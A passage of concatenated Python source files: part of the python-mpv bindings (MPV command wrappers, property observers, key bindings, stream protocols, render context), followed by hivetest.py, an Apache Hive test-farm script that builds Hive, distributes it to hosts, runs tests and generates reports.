"""Mapped mpv video_reload command, see man mpv(1)."""
self.command('video_reload', video_id)
def sub_add(self, url, flags='select', title=None, lang=None):
"""Mapped mpv sub_add command, see man mpv(1)."""
self.command('sub_add', url.encode(fs_enc), *_drop_nones(flags, title, lang))
def sub_remove(self, sub_id=None):
"""Mapped mpv sub_remove command, see man mpv(1)."""
self.command('sub_remove', sub_id)
def sub_reload(self, sub_id=None):
"""Mapped mpv sub_reload command, see man mpv(1)."""
self.command('sub_reload', sub_id)
def sub_step(self, skip):
"""Mapped mpv sub_step command, see man mpv(1)."""
self.command('sub_step', skip)
def sub_seek(self, skip):
"""Mapped mpv sub_seek command, see man mpv(1)."""
self.command('sub_seek', skip)
def toggle_osd(self):
"""Mapped mpv osd command, see man mpv(1)."""
self.command('osd')
def print_text(self, text):
"""Mapped mpv print-text command, see man mpv(1)."""
self.command('print-text', text)
def show_text(self, string, duration='-1', level=None):
"""Mapped mpv show_text command, see man mpv(1)."""
self.command('show_text', string, duration, level)
def expand_text(self, text):
"""Mapped mpv expand-text command, see man mpv(1)."""
return self.node_command('expand-text', text)
def expand_path(self, path):
"""Mapped mpv expand-path command, see man mpv(1)."""
return self.node_command('expand-path', path)
def show_progress(self):
"""Mapped mpv show_progress command, see man mpv(1)."""
self.command('show_progress')
def rescan_external_files(self, mode='reselect'):
"""Mapped mpv rescan-external-files command, see man mpv(1)."""
self.command('rescan-external-files', mode)
def discnav(self, command):
"""Mapped mpv discnav command, see man mpv(1)."""
self.command('discnav', command)
def mouse(x, y, button=None, mode='single'):
"""Mapped mpv mouse command, see man mpv(1)."""
if button is None:
self.command('mouse', x, y, mode)
else:
self.command('mouse', x, y, button, mode)
def keypress(self, name):
"""Mapped mpv keypress command, see man mpv(1)."""
self.command('keypress', name)
def keydown(self, name):
"""Mapped mpv keydown command, see man mpv(1)."""
self.command('keydown', name)
def keyup(self, name=None):
"""Mapped mpv keyup command, see man mpv(1)."""
if name is None:
self.command('keyup')
else:
self.command('keyup', name)
def keybind(self, name, command):
"""Mapped mpv keybind command, see man mpv(1)."""
self.command('keybind', name, command)
def write_watch_later_config(self):
"""Mapped mpv write_watch_later_config command, see man mpv(1)."""
self.command('write_watch_later_config')
def overlay_add(self, overlay_id, x, y, file_or_fd, offset, fmt, w, h, stride):
"""Mapped mpv overlay_add command, see man mpv(1)."""
self.command('overlay_add', overlay_id, x, y, file_or_fd, offset, fmt, w, h, stride)
def overlay_remove(self, overlay_id):
"""Mapped mpv overlay_remove command, see man mpv(1)."""
self.command('overlay_remove', overlay_id)
def script_message(self, *args):
"""Mapped mpv script_message command, see man mpv(1)."""
self.command('script_message', *args)
def script_message_to(self, target, *args):
"""Mapped mpv script_message_to command, see man mpv(1)."""
self.command('script_message_to', target, *args)
def observe_property(self, name, handler):
"""Register an observer on the named property. An observer is a function that is called with the new property
value every time the property's value is changed. The basic function signature is ``fun(property_name,
new_value)`` with new_value being the decoded property value as a python object. This function can be used as a
function decorator if no handler is given.
To unregister the observer, call either of ``mpv.unobserve_property(name, handler)``,
``mpv.unobserve_all_properties(handler)`` or the handler's ``unregister_mpv_properties`` attribute::
@player.observe_property('volume')
def my_handler(new_volume, *):
print("It's loud!", volume)
my_handler.unregister_mpv_properties()
exit_handler is a function taking no arguments that is called when the underlying mpv handle is terminated (e.g.
from calling MPV.terminate() or issuing a "quit" input command).
"""
self._property_handlers[name].append(handler)
_mpv_observe_property(self._event_handle, hash(name)&0xffffffffffffffff, name.encode('utf-8'), MpvFormat.NODE)
def property_observer(self, name):
"""Function decorator to register a property observer. See ``MPV.observe_property`` for details."""
def wrapper(fun):
self.observe_property(name, fun)
fun.unobserve_mpv_properties = lambda: self.unobserve_property(name, fun)
return fun
return wrapper
def unobserve_property(self, name, handler):
"""Unregister a property observer. This requires both the observed property's name and the handler function that
was originally registered as one handler could be registered for several properties. To unregister a handler
from *all* observed properties see ``unobserve_all_properties``.
"""
self._property_handlers[name].remove(handler)
if not self._property_handlers[name]:
_mpv_unobserve_property(self._event_handle, hash(name)&0xffffffffffffffff)
def unobserve_all_properties(self, handler):
"""Unregister a property observer from *all* observed properties."""
for name in self._property_handlers:
self.unobserve_property(name, handler)
def register_message_handler(self, target, handler=None):
"""Register a mpv script message handler. This can be used to communicate with embedded lua scripts. Pass the
script message target name this handler should be listening to and the handler function.
WARNING: Only one handler can be registered at a time for any given target.
To unregister the message handler, call its ``unregister_mpv_messages`` function::
player = mpv.MPV()
@player.message_handler('foo')
def my_handler(some, args):
print(args)
my_handler.unregister_mpv_messages()
"""
self._register_message_handler_internal(target, handler)
def _register_message_handler_internal(self, target, handler):
self._message_handlers[target] = handler
def unregister_message_handler(self, target_or_handler):
"""Unregister a mpv script message handler for the given script message target name.
You can also call the ``unregister_mpv_messages`` function attribute set on the handler function when it is
registered.
"""
if isinstance(target_or_handler, str):
del self._message_handlers[target_or_handler]
else:
for key, val in self._message_handlers.items():
if val == target_or_handler:
del self._message_handlers[key]
def message_handler(self, target):
"""Decorator to register a mpv script message handler.
WARNING: Only one handler can be registered at a time for any given target.
To unregister the message handler, call its ``unregister_mpv_messages`` function::
player = mpv.MPV()
@player.message_handler('foo')
def my_handler(some, args):
print(args)
my_handler.unregister_mpv_messages()
"""
def register(handler):
self._register_message_handler_internal(target, handler)
handler.unregister_mpv_messages = lambda: self.unregister_message_handler(handler)
return handler
return register
def register_event_callback(self, callback):
"""Register a blanket event callback receiving all event types.
To unregister the event callback, call its ``unregister_mpv_events`` function::
player = mpv.MPV()
@player.event_callback('shutdown')
def my_handler(event):
print('It ded.')
my_handler.unregister_mpv_events()
"""
self._event_callbacks.append(callback)
def unregister_event_callback(self, callback):
"""Unregiser an event callback."""
self._event_callbacks.remove(callback)
def event_callback(self, *event_types):
"""Function decorator to register a blanket event callback for the given event types. Event types can be given
as str (e.g. 'start-file'), integer or MpvEventID object.
WARNING: Due to the way this is filtering events, this decorator cannot be chained with itself.
To unregister the event callback, call its ``unregister_mpv_events`` function::
player = mpv.MPV()
@player.event_callback('shutdown')
def my_handler(event):
print('It ded.')
my_handler.unregister_mpv_events()
"""
def register(callback):
with self._event_handler_lock:
self.check_core_alive()
types = [MpvEventID.from_str(t) if isinstance(t, str) else t for t in event_types] or MpvEventID.ANY
@wraps(callback)
def wrapper(event, *args, **kwargs):
if event['event_id'] in types:
callback(event, *args, **kwargs)
self._event_callbacks.append(wrapper)
wrapper.unregister_mpv_events = partial(self.unregister_event_callback, wrapper)
return wrapper
return register
@staticmethod
def _binding_name(callback_or_cmd):
return 'py_kb_{:016x}'.format(hash(callback_or_cmd)&0xffffffffffffffff)
def on_key_press(self, keydef, mode='force'):
"""Function decorator to register a simplified key binding. The callback is called whenever the key given is
*pressed*.
To unregister the callback function, you can call its ``unregister_mpv_key_bindings`` attribute::
player = mpv.MPV()
@player.on_key_press('Q')
def binding():
print('blep')
binding.unregister_mpv_key_bindings()
WARNING: For a single keydef only a single callback/command can be registered at the same time. If you register
a binding multiple times older bindings will be overwritten and there is a possibility of references leaking. So
don't do that.
The BIG FAT WARNING regarding untrusted keydefs from the key_binding method applies here as well.
"""
def register(fun):
@self.key_binding(keydef, mode)
@wraps(fun)
def wrapper(state='p-', name=None, char=None):
if state[0] in ('d', 'p'):
fun()
return wrapper
return register
def key_binding(self, keydef, mode='force'):
"""Function decorator to register a low-level key binding.
The callback function signature is ``fun(key_state, key_name)`` where ``key_state`` is either ``'U'`` for "key
up" or ``'D'`` for "key down".
The keydef format is: ``[Shift+][Ctrl+][Alt+][Meta+]<key>`` where ``<key>`` is either the literal character the
key produces (ASCII or Unicode character), or a symbolic name (as printed by ``mpv --input-keylist``).
To unregister the callback function, you can call its ``unregister_mpv_key_bindings`` attribute::
player = mpv.MPV()
@player.key_binding('Q')
def binding(state, name, char):
print('blep')
binding.unregister_mpv_key_bindings()
WARNING: For a single keydef only a single callback/command can be registered at the same time. If you register
a binding multiple times older bindings will be overwritten and there is a possibility of references leaking. So
don't do that.
BIG FAT WARNING: mpv's key binding mechanism is pretty powerful. This means, you essentially get arbitrary code
exectution through key bindings. This interface makes some limited effort to sanitize the keydef given in the
first parameter, but YOU SHOULD NOT RELY ON THIS IN FOR SECURITY. If your input comes from config files, this is
completely fine--but, if you are about to pass untrusted input into this parameter, better double-check whether
this is secure in your case.
"""
def register(fun):
fun.mpv_key_bindings = getattr(fun, 'mpv_key_bindings', []) + [keydef]
def unregister_all():
for keydef in fun.mpv_key_bindings:
self.unregister_key_binding(keydef)
fun.unregister_mpv_key_bindings = unregister_all
self.register_key_binding(keydef, fun, mode)
return fun
return register
def register_key_binding(self, keydef, callback_or_cmd, mode='force'):
"""Register a key binding. This takes an mpv keydef and either a string containing a mpv command or a python
callback function. See ``MPV.key_binding`` for details.
"""
if not re.match(r'(Shift+)?(Ctrl+)?(Alt+)?(Meta+)?(.|\w+)', keydef):
raise ValueError('Invalid keydef. Expected format: [Shift+][Ctrl+][Alt+][Meta+]<key>\n'
'<key> is either the literal character the key produces (ASCII or Unicode character), or a '
'symbolic name (as printed by --input-keylist')
binding_name = MPV._binding_name(keydef)
if callable(callback_or_cmd):
self._key_binding_handlers[binding_name] = callback_or_cmd
self.register_message_handler('key-binding', self._handle_key_binding_message)
self.command('define-section',
binding_name, '{} script-binding py_event_handler/{}'.format(keydef, binding_name), mode)
elif isinstance(callback_or_cmd, str):
self.command('define-section', binding_name, '{} {}'.format(keydef, callback_or_cmd), mode)
else:
raise TypeError('register_key_binding expects either an str with an mpv command or a python callable.')
self.command('enable-section', binding_name, 'allow-hide-cursor+allow-vo-dragging')
def _handle_key_binding_message(self, binding_name, key_state, key_name=None, key_char=None):
self._key_binding_handlers[binding_name](key_state, key_name, key_char)
def unregister_key_binding(self, keydef):
"""Unregister a key binding by keydef."""
binding_name = MPV._binding_name(keydef)
self.command('disable-section', binding_name)
self.command('define-section', binding_name, '')
if binding_name in self._key_binding_handlers:
del self._key_binding_handlers[binding_name]
if not self._key_binding_handlers:
self.unregister_message_handler('key-binding')
def register_stream_protocol(self, proto, open_fn=None):
""" Register a custom stream protocol as documented in libmpv/stream_cb.h:
https://github.com/mpv-player/mpv/blob/master/libmpv/stream_cb.h
proto is the protocol scheme, e.g. "foo" for "foo://" urls.
This function can either be used with two parameters or it can be used as a decorator on the target
function.
open_fn is a function taking an URI string and returning an mpv stream object.
open_fn may raise a ValueError to signal libmpv the URI could not be opened.
The mpv stream protocol is as follows:
class Stream:
@property
def size(self):
return None # unknown size
return size # int with size in bytes
def read(self, size):
...
return read # non-empty bytes object with input
return b'' # empty byte object signals permanent EOF
def seek(self, pos):
return new_offset # integer with new byte offset. The new offset may be before the requested offset
in case an exact seek is inconvenient.
def close(self):
...
# def cancel(self): (future API versions only)
# Abort a running read() or seek() operation
# ...
"""
def decorator(open_fn):
@StreamOpenFn
def open_backend(_userdata, uri, cb_info):
try:
frontend = open_fn(uri.decode('utf-8'))
except ValueError:
return ErrorCode.LOADING_FAILED
def read_backend(_userdata, buf, bufsize):
data = frontend.read(bufsize)
for i in range(len(data)):
buf[i] = data[i]
return len(data)
cb_info.contents.cookie = None
read = cb_info.contents.read = StreamReadFn(read_backend)
close = cb_info.contents.close = StreamCloseFn(lambda _userdata: frontend.close())
seek, size, cancel = None, None, None
if hasattr(frontend, 'seek'):
seek = cb_info.contents.seek = StreamSeekFn(lambda _userdata, offx: frontend.seek(offx))
if hasattr(frontend, 'size') and frontend.size is not None:
size = cb_info.contents.size = StreamSizeFn(lambda _userdata: frontend.size)
# Future API versions only
# if hasattr(frontend, 'cancel'):
# cb_info.contents.cancel = StreamCancelFn(lambda _userdata: frontend.cancel())
# keep frontend and callbacks in memory forever (TODO)
frontend._registered_callbacks = [read, close, seek, size, cancel]
self._stream_protocol_frontends[proto][uri] = frontend
return 0
if proto in self._stream_protocol_cbs:
raise KeyError('Stream protocol already registered')
self._stream_protocol_cbs[proto] = [open_backend]
_mpv_stream_cb_add_ro(self.handle, proto.encode('utf-8'), c_void_p(), open_backend)
return open_fn
if open_fn is not None:
decorator(open_fn)
return decorator
# Convenience functions
def play(self, filename):
"""Play a path or URL (requires ``ytdl`` option to be set)."""
self.loadfile(filename)
@property
def playlist_filenames(self):
"""Return all playlist item file names/URLs as a list of strs."""
return [element['filename'] for element in self.playlist]
def playlist_append(self, filename, **options):
"""Append a path or URL to the playlist. This does not start playing the file automatically. To do that, use
``MPV.loadfile(filename, 'append-play')``."""
self.loadfile(filename, 'append', **options)
# "Python stream" logic. This is some porcelain for directly playing data from python generators.
def _python_stream_open(self, uri):
"""Internal handler for python:// protocol streams registered through @python_stream(...) and
@python_stream_catchall
"""
name, = re.fullmatch('python://(.*)', uri).groups()
if name in self._python_streams:
generator_fun, size = self._python_streams[name]
else:
if self._python_stream_catchall is not None:
generator_fun, size = self._python_stream_catchall(name)
else:
raise ValueError('Python stream name not found and no catch-all defined')
return GeneratorStream(generator_fun, size)
def python_stream(self, name=None, size=None):
"""Register a generator for the python stream with the given name.
name is the name, i.e. the part after the "python://" in the URI, that this generator is registered as.
size is the total number of bytes in the stream (if known).
Any given name can only be registered once. The catch-all can also only be registered once. To unregister a
stream, call the .unregister function set on the callback.
The generator signals EOF by returning, manually raising StopIteration or by yielding b'', an empty bytes
object.
The generator may be called multiple times if libmpv seeks or loops.
See also: @mpv.python_stream_catchall
@mpv.python_stream('foobar')
def reader():
for chunk in chunks:
yield chunk
mpv.play('python://foobar')
mpv.wait_for_playback()
reader.unregister()
"""
def register(cb):
if name in self._python_streams:
raise KeyError('Python stream name "{}" is already registered'.format(name))
self._python_streams[name] = (cb, size)
def unregister():
if name not in self._python_streams or\
self._python_streams[name][0] is not cb: # This is just a basic sanity check
raise RuntimeError('Python stream has already been unregistered')
del self._python_streams[name]
cb.unregister = unregister
return cb
return register
def python_stream_catchall(self, cb):
""" Register a catch-all python stream to be called when no name matches can be found. Use this decorator on a
function that takes a name argument and returns a (generator, size) tuple (with size being None if unknown).
An invalid URI can be signalled to libmpv by raising a ValueError inside the callback.
See also: @mpv.python_stream(name, size)
@mpv.python_stream_catchall
def catchall(name):
if not name.startswith('foo'):
raise ValueError('Unknown Name')
def foo_reader():
with open(name, 'rb') as f:
while True:
chunk = f.read(1024)
if not chunk:
break
yield chunk
return foo_reader, None
mpv.play('python://foo23')
mpv.wait_for_playback()
catchall.unregister()
"""
if self._python_stream_catchall is not None:
raise KeyError('A catch-all python stream is already registered')
self._python_stream_catchall = cb
def unregister():
if self._python_stream_catchall is not cb:
raise RuntimeError('This catch-all python stream has already been unregistered')
self._python_stream_catchall = None
cb.unregister = unregister
return cb
# Property accessors
def _get_property(self, name, decoder=strict_decoder, fmt=MpvFormat.NODE):
self.check_core_alive()
out = create_string_buffer(sizeof(MpvNode))
try:
cval = _mpv_get_property(self.handle, name.encode('utf-8'), fmt, out)
if fmt is MpvFormat.OSD_STRING:
return cast(out, POINTER(c_char_p)).contents.value.decode('utf-8')
elif fmt is MpvFormat.NODE:
rv = cast(out, POINTER(MpvNode)).contents.node_value(decoder=decoder)
_mpv_free_node_contents(out)
return rv
else:
raise TypeError('_get_property only supports NODE and OSD_STRING formats.')
except PropertyUnavailableError as ex:
return None
def _set_property(self, name, value):
self.check_core_alive()
ename = name.encode('utf-8')
if isinstance(value, (list, set, dict)):
_1, _2, _3, pointer = _make_node_str_list(value)
_mpv_set_property(self.handle, ename, MpvFormat.NODE, pointer)
else:
_mpv_set_property_string(self.handle, ename, _mpv_coax_proptype(value))
def __getattr__(self, name):
return self._get_property(_py_to_mpv(name), lazy_decoder)
def __setattr__(self, name, value):
try:
if name != 'handle' and not name.startswith('_'):
self._set_property(_py_to_mpv(name), value)
else:
super().__setattr__(name, value)
except AttributeError:
super().__setattr__(name, value)
def __dir__(self):
return super().__dir__() + [ name.replace('-', '_') for name in self.property_list ]
@property
def properties(self):
return { name: self.option_info(name) for name in self.property_list }
# Dict-like option access
def __getitem__(self, name, file_local=False):
"""Get an option value."""
prefix = 'file-local-options/' if file_local else 'options/'
return self._get_property(prefix+name, lazy_decoder)
def __setitem__(self, name, value, file_local=False):
"""Set an option value."""
prefix = 'file-local-options/' if file_local else 'options/'
return self._set_property(prefix+name, value)
def __iter__(self):
"""Iterate over all option names."""
return iter(self.options)
def option_info(self, name):
"""Get information on the given option."""
try:
return self._get_property('option-info/'+name)
except AttributeError:
return None
class MpvRenderContext:
def __init__(self, mpv, api_type, **kwargs):
self._mpv = mpv
kwargs['api_type'] = api_type
buf = cast(create_string_buffer(sizeof(MpvRenderCtxHandle)), POINTER(MpvRenderCtxHandle))
_mpv_render_context_create(buf, mpv.handle, kwargs_to_render_param_array(kwargs))
self._handle = buf.contents
def free(self):
_mpv_render_context_free(self._handle)
def __setattr__(self, name, value):
if name.startswith('_'):
super().__setattr__(name, value)
elif name == 'update_cb':
func = value if value else (lambda: None)
self._update_cb = value
self._update_fn_wrapper = RenderUpdateFn(lambda _userdata: func())
_mpv_render_context_set_update_callback(self._handle, self._update_fn_wrapper, None)
else:
param = MpvRenderParam(name, value)
_mpv_render_context_set_parameter(self._handle, param)
def __getattr__(self, name):
if name == 'update_cb':
return self._update_cb
elif name == 'handle':
return self._handle
param = MpvRenderParam(name)
data_type = type(param.data.contents)
buf = cast(create_string_buffer(sizeof(data_type)), POINTER(data_type))
param.data = buf
_mpv_render_context_get_info(self._handle, param)
return buf.contents.as_dict()
def update(self):
""" Calls mpv_render_context_update and returns the MPV_RENDER_UPDATE_FRAME flag (see render.h) """
return bool(_mpv_render_context_update(self._handle) & 1)
def render(self, **kwargs):
_mpv_render_context_render(self._handle, kwargs_to_render_param_array(kwargs))
def report_swap(self):
_mpv_render_context_report_swap(self._handle)
# == API ==
def get_property(self, name):
"""Return the value of property `name`.
"""
return self.command("get_property", name)
|
hivetest.py | #!/usr/bin/env python
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
import argparse
import time
from threading import Thread
import os.path
import collections
import re
import os
import Report
import config
# WARNING
#
# If you are editing this code, please be aware that commands passed to `run`
# should not use single quotes, this will break and end badly as the final
# command looks like `ssh 'host' 'some command - single quote will break it'`.
# Also please be aware that `run` uses `.format` to change `{host}` in commands
# into actual host name it is running on, running `.format` on strings using
# `{host}`, for example including `host_code_path` will not work.
#
# Also this code assumes master_base_path is available to all testing machines
# and is mounted in the same place on all of them.
#
# Getting rid of this restrictions without making the code much more complicated
# is very welcome.
# This is configured in user configuration file.
local = None
qfile_set = None
other_set = None
remote_set = None
all_set = None
master_base_path = None
host_base_path = None
# End of user configurated things.
ant_path = None
arc_path = None
phutil_path = None
code_path = None
report_path = None
host_code_path = None
def read_conf(config_file):
global local, qfile_set, other_set, remote_set, all_set
global master_base_path, host_base_path
global ant_path, arc_path, phutil_path, code_path, report_path, host_code_path
if config_file is not None:
config.load(config_file)
else:
config.load()
local = config.local
qfile_set = config.qfile_set
other_set = config.other_set
remote_set = config.remote_set
all_set = config.all_set
master_base_path = config.master_base_path
host_base_path = config.host_base_path
if 'HIVE_PTEST_SUFFIX' in os.environ:
suffix = os.environ['HIVE_PTEST_SUFFIX']
master_base_path += '-' + suffix
host_base_path += '-' + suffix
ant_path = master_base_path + '/apache-ant-1.8.2'
arc_path = master_base_path + '/arcanist'
phutil_path = master_base_path + '/libphutil'
code_path = master_base_path + '/trunk'
report_path = master_base_path + '/report/' + time.strftime('%m.%d.%Y_%H:%M:%S')
host_code_path = host_base_path + '/trunk-{host}'
# Setup of needed environmental variables and paths
# Ant
all_set.add_path(ant_path + '/bin')
# Arcanist
all_set.add_path(arc_path + '/bin')
# Java
all_set.export('JAVA_HOME', config.java_home)
all_set.add_path(config.java_home + '/bin')
# Hive
remote_set.export('HIVE_HOME', host_code_path + '/build/dist')
remote_set.add_path(host_code_path + '/build/dist/bin')
# Hadoop
remote_set.export('HADOOP_HOME', host_code_path +
'/build/hadoopcore/hadoop-0.20.1')
def get_ant():
# Gets Ant 1.8.2 from one of Apache mirrors.
print('\n-- Installing Ant 1.8.2\n')
if local.run('test -d "{0}"'.format(ant_path), warn_only = True,
abandon_output = False) is None:
local.run('mkdir -p "{0}"'.format(master_base_path))
local.cd(master_base_path)
local.run('curl "http://apache.osuosl.org//ant/binaries/apache-ant-1.8.2-bin.tar.gz" | tar xz')
else:
print('\n Ant 1.8.2 already installed\n')
def get_arc():
# Gets latest Arcanist and libphtuil from their Git repositories.
print('\n-- Updating Arcanist installation\n')
if local.run('test -d "{0}"'.format(arc_path), warn_only = True,
abandon_output = False) is None:
local.run('mkdir -p "{0}"'.format(os.path.dirname(arc_path)))
local.run('git clone git://github.com/facebook/arcanist.git "{0}"'
.format(arc_path))
if local.run('test -d "{0}"'.format(phutil_path), warn_only = True,
abandon_output = False) is None:
local.run('mkdir -p "{0}"'.format(os.path.dirname(phutil_path)))
local.run('git clone git://github.com/facebook/libphutil.git "{0}"'
.format(phutil_path))
local.cd(arc_path)
local.run('git pull')
local.cd(phutil_path)
local.run('git pull')
def get_clean_hive():
# Gets latest Hive from Apache Git repository and cleans the repository
# (undo of any changes and removal of all generated files). Also runs
# `arc-setup` so the repo is ready to be used.
print('\n-- Updating Hive repo\n')
if local.run('test -d "{0}"'.format(code_path), warn_only = True,
abandon_output = False) is None:
local.run('mkdir -p "{0}"'.format(os.path.dirname(code_path)))
local.run('git clone git://git.apache.org/hive.git "{0}"'.format(code_path))
local.cd(code_path)
local.run('git reset --hard HEAD')
local.run('git clean -dffx')
local.run('git pull')
local.run('ant arc-setup')
def prepare_for_reports():
# Generates directories for test reports. All test nodes will copy results
# to this directories.
print('\n-- Creating a directory for JUnit reports\n')
# Remove previous reports that might be there.
local.run('rm -rf "{0}"'.format(report_path), warn_only = True)
local.run('mkdir -p "{0}/logs"'.format(report_path))
local.run('mkdir -p "{0}/out/clientpositive"'.format(report_path))
local.run('mkdir -p "{0}/out/clientnegative"'.format(report_path))
def patch_hive(patches = [], revision = None):
# Applies given patches to the Hive repo. Revision means a Differential
# revision, patches list is a list of paths to patches on local file system.
#
# Allowing multiple revisions and patches would complicate things a little
# (order of applied patches should be preserved, but argparse will split
# them into two lists) so only multiple local patches are allowed.
# Shouldn't be a big problem as you can use `arc export` to get the patches
# locally.
local.cd(code_path)
if revision is not None:
print('\n-- Patching Hive repo using a Differential revision\n')
revision = revision.upper()
if not revision.startswith('D'):
revision = 'D' + revision
local.run('arc patch "{0}"'.format(revision))
if patches:
print('\n-- Patching Hive repo using a patch from local file system\n')
for patch in patches:
local.run('patch -f -p0 < "{0}"'.format(patch))
def build_hive():
print('\n-- Building Hive\n')
local.cd(code_path)
local.run('ant package')
def propagate_hive():
# Expects master_base_path to be available on all test nodes in the same
# place (for example using NFS).
print('\n-- Propagating Hive repo to all hosts\n')
remote_set.run('mkdir -p "{0}"'.format(host_code_path))
remote_set.run('rsync -qa --delete "{0}/" "{1}"'.format(
code_path, host_code_path))
def segment_tests(path):
# Removes `.q` files that should not be run on this host. The huge shell
# command is slow (not really suprising considering amount of forking it has
# to do), you are welcome to make it better=).
local.cd(code_path + path)
tests = local.run('ls -1', quiet = True, abandon_output = False).strip().split('\n')
qfile_set.cd(host_code_path + path)
cmd = []
i = 0
for test in tests:
host = qfile_set.conn[i].hostname
cmd.append('if [[ "{host}" != "' + host + '" ]]; then rm -f "' + test + '"; fi')
i = (i + 1) % len(qfile_set)
cmd = ' && '.join(cmd)
# The command is huge and printing it out is not very useful, using wabbit
# hunting mode.
qfile_set.run(cmd, vewy_quiet = True)
def prepare_tests():
print('\n-- Preparing test sets on all hosts\n')
segment_tests('/ql/src/test/queries/clientpositive')
segment_tests('/ql/src/test/queries/clientnegative')
def collect_log(name):
# Moves JUnit log to the global logs directory.
#
# This has the same restriction on master_base_path as propagate_hive.
new_name = name.split('.')
new_name[-2] += '-{host}'
new_name = '.'.join(new_name)
qfile_set.cd(host_code_path + '/build/ql/test')
# If tests failed there may be no file, so warn only if `cp` is having
# problems.
qfile_set.run(
'cp "' + name + '" "' + report_path + '/logs/' + new_name + '" || ' +
'touch "' + report_path + '/logs/{host}-' + name + '.fail"'
)
# Get the hive.log too.
qfile_set.cd(host_code_path + '/build/ql/tmp')
qfile_set.run('cp "hive.log" "' + report_path + '/logs/hive-{host}-' + name + '.log"',
warn_only = True)
def collect_out(name):
# Moves `.out` file (test output) to the global logs directory.
#
# This has the same restriction on master_base_path as propagate_hive.
qfile_set.cd(host_code_path + '/build/ql/test/logs/' + name)
# Warn only if no files are found.
qfile_set.run('cp * "' + report_path + '/out/' + name + '"', warn_only = True)
def run_tests():
# Runs TestCliDriver and TestNegativeCliDriver testcases.
print('\n-- Running .q file tests on all hosts\n')
# Using `quiet` because output of `ant test` is not very useful when we are
# running on many hosts and it all gets mixed up. In case of an error
# you'll get last lines generated by `ant test` anyway (might be totally
# irrelevant if one of the first tests fails and Ant reports a failure after
# running all the other test, fortunately JUnit report saves the Ant output
# if you need it for some reason).
qfile_set.cd(host_code_path)
qfile_set.run('ant -Dtestcase=TestCliDriver -Doffline=true test',
quiet = True, warn_only = True)
collect_log('TEST-org.apache.hadoop.hive.cli.TestCliDriver.xml')
collect_out('clientpositive')
qfile_set.cd(host_code_path)
qfile_set.run('ant -Dtestcase=TestNegativeCliDriver -Doffline=true test',
quiet = True, warn_only = True)
collect_log('TEST-org.apache.hadoop.hive.cli.TestNegativeCliDriver.xml')
collect_out('clientnegative')
def run_other_tests():
# Runs all other tests that run_test doesn't run.
def get_other_list():
local.cd(code_path)
# Generate test classes in build.
local.run('ant -Dtestcase=nothing test')
tests = local.run(' | '.join([
'find build/*/test/classes -name "Test*.class"',
'sed -e "s:[^/]*/::g"',
'grep -v TestSerDe.class',
'grep -v TestHiveMetaStore.class',
'grep -v TestCliDriver.class',
'grep -v TestNegativeCliDriver.class',
'grep -v ".*\$.*\.class"',
'sed -e "s:\.class::"'
]), abandon_output = False)
return tests.split()
def segment_other():
# Split all test cases between hosts.
def get_command(test):
return '; '.join([
'ant -Dtestcase=' + test + ' -Doffline=true test',
'cp "`find . -name "TEST-*.xml"`" "' + report_path + '/logs/" || ' +
'touch "' + report_path + '/logs/{host}-' + test + '.fail"',
'cp "build/ql/tmp/hive.log" "' + report_path + '/logs/hive-{host}-' + test + '.log"'
])
cmd = []
i = 0
for test in get_other_list():
# Special case, don't run minimr tests in parallel. They will run
# on the first host, and no other tests will run there (unless we
# have a single host).
#
# TODO: Real fix would be to allow parallel runs of minimr tests.
if len(other_set) > 1:
if re.match('.*minimr.*', test.lower()):
host = other_set.conn[0].hostname
else:
i = (i + 1) % len(other_set)
if i == 0:
i = 1
host = other_set.conn[i].hostname
else:
# We are running on single host.
host = other_set.conn[0].hostname
cmd.append(
'if [[ "{host}" == "' + host + '" ]]; then ' +
get_command(test) +
'; fi'
)
return ' ; '.join(cmd)
command = segment_other()
other_set.cd(host_code_path)
# See comment about quiet option in run_tests.
other_set.run(command, quiet = True, warn_only = True)
def generate_report(one_file_report = False):
# Uses `Report.py` to create a HTML report.
print('\n-- Generating a test report\n')
# Call format to remove '{{' and '}}'.
path = os.path.expandvars(report_path.format())
CmdArgs = collections.namedtuple('CmdArgs', ['one_file', 'log_dir', 'report_dir'])
args = CmdArgs(
one_file = one_file_report,
log_dir = '{0}/logs'.format(path),
report_dir = path
)
Report.make_report(args)
print('\n-- Test report has been generated and is available here:')
print('-- "{0}/report.html"'.format(path))
print()
def stop_tests():
# Brutally stops tests on all hosts, something more subtle would be nice and
# would allow the same user to run this script multiple times
# simultaneously.
print('\n-- Stopping tests on all hosts\n')
remote_set.run('killall -9 java', warn_only = True)
def remove_code():
# Running this only on one connection per host so there are no conflicts
# between several `rm` calls. This removes all repositories, it would have
# to be changed if we were to allow multiple simultaneous runs of this
# script.
print('\n-- Removing Hive code from all hosts\n')
# We could remove only `host_code_path`, but then we would have abandoned
# directories after lowering number of processes running on one host.
cmd = 'rm -rf "' + host_base_path + '"'
cmd = 'if [[ `echo "{host}" | grep -q -- "-0$"; echo "$?"` -eq "0" ]]; then ' + \
cmd + '; fi'
remote_set.run(cmd)
def overwrite_results():
# Copy generated `.q.out` files to master repo.
local.cd(code_path)
expanded_path = local.run('pwd', abandon_output = False)
print('\n-- Copying generated `.q.out` files to master repository: ' +
expanded_path)
for name in ['clientpositive', 'clientnegative']:
local.cd(report_path + '/out/' + name)
# Don't panic if no files are found.
local.run('cp * "' + code_path + '/ql/src/test/results/' + name + '"',
warn_only = True)
# -- Tasks that can be called from command line start here.
def cmd_prepare(patches = [], revision = None):
get_ant()
get_arc()
get_clean_hive()
patch_hive(patches, revision)
build_hive()
propagate_hive()
prepare_tests()
def cmd_run_tests(one_file_report = False):
t = Thread(target = run_other_tests)
t.start()
prepare_for_reports()
run_tests()
t.join()
if args.overwrite:
overwrite_results()
generate_report(one_file_report)
def cmd_test(patches = [], revision = None, one_file_report = False):
cmd_prepare(patches, revision)
cmd_run_tests(one_file_report)
def cmd_stop():
stop_tests()
def cmd_remove():
remove_code()
parser = argparse.ArgumentParser(description =
'Hive test farm controller.')
parser.add_argument('--config', dest = 'config',
help = 'Path to configuration file')
parser.add_argument('--prepare', action = 'store_true', dest = 'prepare',
help = 'Builds Hive and propagates it to all test machines')
parser.add_argument('--run-tests', action = 'store_true', dest = 'run_tests',
